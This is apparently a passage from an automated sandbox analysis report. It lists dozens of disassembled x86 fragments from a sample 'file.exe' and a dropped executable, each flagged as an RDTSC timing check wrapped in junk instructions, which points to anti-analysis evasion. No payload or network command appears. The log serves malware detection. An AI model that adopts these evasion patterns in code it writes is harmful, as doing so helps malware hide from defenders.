00007FEAC13E5386h 0x0000005b and ecx, 03h 0x0000005e pushad 0x0000005f mov cx, BDCDh 0x00000063 mov edi, eax 0x00000065 popad 0x00000066 rep movsb 0x00000068 jmp 00007FEAC13E5384h 0x0000006d mov dword ptr [ebp-04h], FFFFFFFEh 0x00000074 push eax 0x00000075 push edx 0x00000076 jmp 00007FEAC13E5387h 0x0000007b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110830 second address: 511086E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEAC0C35679h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, ebx 0x0000000b jmp 00007FEAC0C3566Eh 0x00000010 mov ecx, dword ptr [ebp-10h] 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FEAC0C3566Ah 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 511086E second address: 5110874 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110874 second address: 51108AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEAC0C3566Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr fs:[00000000h], ecx 0x00000010 pushad 0x00000011 mov ebx, ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 call 00007FEAC0C35678h 0x0000001a pop esi 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51108AB second address: 5110902 instructions: 0x00000000 rdtsc 0x00000002 mov eax, edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pop ecx 0x00000008 pushad 0x00000009 movsx edi, si 0x0000000c mov bx, cx 0x0000000f popad 0x00000010 pop edi 0x00000011 pushad 0x00000012 movzx esi, dx 0x00000015 mov cx, di 0x00000018 popad 0x00000019 pop esi 0x0000001a pushad 0x0000001b call 00007FEAC13E5381h 0x00000020 mov esi, 57F16527h 0x00000025 pop ecx 0x00000026 call 00007FEAC13E537Dh 0x0000002b jmp 00007FEAC13E5380h 0x00000030 pop esi 0x00000031 popad 0x00000032 pop ebx 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110902 second address: 5110909 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ebx, ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110909 second address: 511090F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 511090F second address: 5110913 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110913 second address: 51104F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEAC13E5387h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b leave 0x0000000c jmp 00007FEAC13E5386h 0x00000011 retn 0008h 0x00000014 cmp dword ptr [ebp-2Ch], 10h 0x00000018 mov eax, dword ptr [ebp-40h] 0x0000001b jnc 00007FEAC13E5375h 0x0000001d push eax 0x0000001e lea edx, dword ptr [ebp-00000590h] 0x00000024 push edx 0x00000025 call esi 0x00000027 push 00000008h 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007FEAC13E537Dh 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110A31 second address: 5110A35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110A35 second address: 5110A39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110A39 second address: 5110A3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110A3F second address: 5110A62 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, al 0x00000005 mov ecx, ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007FEAC13E5384h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 229D3C second address: 229D43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 229D43 second address: 229D50 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jc 00007FEAC13E5376h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 21D086 second address: 21D09C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007FEAC0C3566Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 228EF5 second address: 228EF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 2291BC second address: 2291C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 229632 second address: 22964D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEAC13E5387h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 22964D second address: 229661 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEAC0C35670h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 229661 second address: 229666 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 22AFEE second address: 22AFF8 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FEAC0C35666h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 22AFF8 second address: AE8A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jbe 00007FEAC13E5376h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 jnp 00007FEAC13E5397h 0x00000018 pop eax 0x00000019 sub dword ptr [ebp+122D2834h], edx 0x0000001f push dword ptr [ebp+122D0A29h] 0x00000025 mov dword ptr [ebp+122D1776h], ecx 0x0000002b call dword ptr [ebp+122D2ED0h] 0x00000031 pushad 0x00000032 ja 00007FEAC13E5381h 0x00000038 xor eax, eax 0x0000003a sub dword ptr [ebp+122D3061h], edi 0x00000040 mov edx, dword ptr [esp+28h] 0x00000044 pushad 0x00000045 mov eax, dword ptr [ebp+122D2BC7h] 0x0000004b add ch, 00000000h 0x0000004e popad 0x0000004f mov dword ptr [ebp+122D29E3h], eax 0x00000055 jl 00007FEAC13E5384h 0x0000005b pushad 0x0000005c jno 00007FEAC13E5376h 0x00000062 mov ebx, dword ptr [ebp+122D2ABBh] 0x00000068 popad 0x00000069 mov esi, 0000003Ch 0x0000006e cld 0x0000006f add esi, dword ptr [esp+24h] 0x00000073 or dword ptr [ebp+122D277Ch], edi 0x00000079 lodsw 0x0000007b stc 0x0000007c add eax, dword ptr [esp+24h] 0x00000080 mov dword ptr [ebp+122D1808h], ebx 0x00000086 mov ebx, dword ptr [esp+24h] 0x0000008a jmp 00007FEAC13E537Ch 0x0000008f nop 0x00000090 pushad 0x00000091 push edx 0x00000092 push eax 0x00000093 push edx 0x00000094 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 22B16B second address: 22B189 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007FEAC0C3566Ch 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push edi 0x00000011 jnc 00007FEAC0C35666h 0x00000017 pop edi 0x00000018 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 22B1E7 second address: 22B24E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FEAC13E5381h 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e call 00007FEAC13E5387h 0x00000013 jmp 00007FEAC13E5381h 0x00000018 pop edi 0x00000019 push 00000000h 0x0000001b mov esi, 48BC26A5h 0x00000020 call 00007FEAC13E5379h 0x00000025 jmp 00007FEAC13E537Ah 0x0000002a push eax 0x0000002b jc 00007FEAC13E537Eh 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 22B24E second address: 22B260 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jg 00007FEAC0C35666h 0x00000012 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 22B260 second address: 22B283 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FEAC13E5376h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b mov eax, dword ptr [eax] 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FEAC13E5383h 0x00000015 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 22B283 second address: 22B318 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b jmp 00007FEAC0C3566Ah 0x00000010 pop eax 0x00000011 mov ecx, dword ptr [ebp+122D22D7h] 0x00000017 push 00000003h 0x00000019 jo 00007FEAC0C3566Ch 0x0000001f xor dword ptr [ebp+1244E1B4h], eax 0x00000025 push 00000000h 0x00000027 jmp 00007FEAC0C35672h 0x0000002c push 00000003h 0x0000002e mov esi, 3E04ED10h 0x00000033 push DAA12871h 0x00000038 pushad 0x00000039 pushad 0x0000003a jmp 00007FEAC0C35671h 0x0000003f push edx 0x00000040 pop edx 0x00000041 popad 0x00000042 pushad 0x00000043 je 00007FEAC0C35666h 0x00000049 jc 00007FEAC0C35666h 0x0000004f popad 0x00000050 popad 0x00000051 xor dword ptr [esp], 1AA12871h 0x00000058 mov dx, 2363h 0x0000005c lea ebx, dword ptr [ebp+1244FEB6h] 0x00000062 mov dword ptr [ebp+122D1C3Dh], eax 0x00000068 push eax 0x00000069 push eax 0x0000006a push edx 0x0000006b jng 00007FEAC0C3566Ch 0x00000071 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 24B2F2 second address: 24B2F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 24B2F6 second address: 24B2FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 24B2FF second address: 24B305 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 24B424 second address: 24B478 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEAC0C35676h 0x00000007 push edx 0x00000008 jmp 00007FEAC0C3566Fh 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f pop edx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FEAC0C35677h 0x00000019 jmp 00007FEAC0C3566Eh 0x0000001e rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 24B5CF second address: 24B5D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 24BB50 second address: 24BB54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 24BE05 second address: 24BE0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 24BFA3 second address: 24BFA9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 223BD2 second address: 223C0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push edi 0x00000006 push edx 0x00000007 pop edx 0x00000008 pushad 0x00000009 popad 0x0000000a pop edi 0x0000000b jmp 00007FEAC13E537Eh 0x00000010 ja 00007FEAC13E537Eh 0x00000016 popad 0x00000017 pushad 0x00000018 jmp 00007FEAC13E537Dh 0x0000001d push eax 0x0000001e push edx 0x0000001f push edx 0x00000020 pop edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 223C0E second address: 223C3D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEAC0C35674h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FEAC0C35673h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 223C3D second address: 223C41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 223C41 second address: 223C45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 24C102 second address: 24C13C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push ebx 0x00000006 jmp 00007FEAC13E5382h 0x0000000b jbe 00007FEAC13E5376h 0x00000011 pop ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FEAC13E5389h 0x00000019 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 24C13C second address: 24C140 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 24C140 second address: 24C146 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 24C8C6 second address: 24C8D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FEAC0C35666h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 24C8D0 second address: 24C8DC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 24CA44 second address: 24CA53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 ja 00007FEAC0C35666h 0x0000000f rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 24CEE9 second address: 24CF01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FEAC13E537Fh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 24CF01 second address: 24CF05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 24CF05 second address: 24CF0D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 24CF0D second address: 24CF12 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 24F559 second address: 24F55D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 24F55D second address: 24F563 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 24F6A3 second address: 24F6C3 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FEAC13E5378h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 jg 00007FEAC13E5376h 0x00000019 ja 00007FEAC13E5376h 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 216409 second address: 21640D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 21640D second address: 216427 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007FEAC13E5384h 0x0000000c rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 212E2F second address: 212E35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 212E35 second address: 212E39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 212E39 second address: 212E61 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FEAC0C35679h 0x0000000b pushad 0x0000000c jp 00007FEAC0C35666h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 25B025 second address: 25B049 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FEAC13E5376h 0x0000000a popad 0x0000000b jmp 00007FEAC13E537Eh 0x00000010 pushad 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 jnc 00007FEAC13E5376h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 25B049 second address: 25B079 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push esi 0x00000009 pushad 0x0000000a jmp 00007FEAC0C3566Ch 0x0000000f jmp 00007FEAC0C35678h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 20F984 second address: 20F98E instructions: 0x00000000 rdtsc 0x00000002 jng 00007FEAC13E5382h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 20F98E second address: 20F994 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 20F994 second address: 20F99F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 25AEA7 second address: 25AECD instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FEAC0C35666h 0x00000008 jmp 00007FEAC0C35674h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f je 00007FEAC0C3566Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 25AECD second address: 25AED7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 25D723 second address: 25D729 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 25D729 second address: 25D736 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jno 00007FEAC13E5376h 0x0000000d rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 25DF51 second address: 25DF57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 25E3C4 second address: 25E3C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 25E3C8 second address: 25E3DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEAC0C35671h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 25EB0E second address: 25EB12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 25EB12 second address: 25EB22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEAC0C3566Ch 0x00000009 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 25F44E second address: 25F45E instructions: 0x00000000 rdtsc 0x00000002 je 00007FEAC13E5376h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 26056E second address: 2605AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 xor dword ptr [ebp+12460A10h], eax 0x0000000d push 00000000h 0x0000000f or dword ptr [ebp+122D27F1h], ecx 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push edi 0x0000001a call 00007FEAC0C35668h 0x0000001f pop edi 0x00000020 mov dword ptr [esp+04h], edi 0x00000024 add dword ptr [esp+04h], 00000015h 0x0000002c inc edi 0x0000002d push edi 0x0000002e ret 0x0000002f pop edi 0x00000030 ret 0x00000031 mov edi, dword ptr [ebp+122D1CDFh] 0x00000037 push eax 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 2605AE second address: 2605C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEAC13E5382h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 2605C5 second address: 2605CF instructions: 0x00000000 rdtsc 0x00000002 jl 00007FEAC0C3566Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 261CED second address: 261CF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 261CF1 second address: 261CF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 261CF5 second address: 261CFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 261CFB second address: 261D25 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEAC0C3566Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c js 00007FEAC0C35666h 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FEAC0C3566Dh 0x0000001c rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 261D25 second address: 261D29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
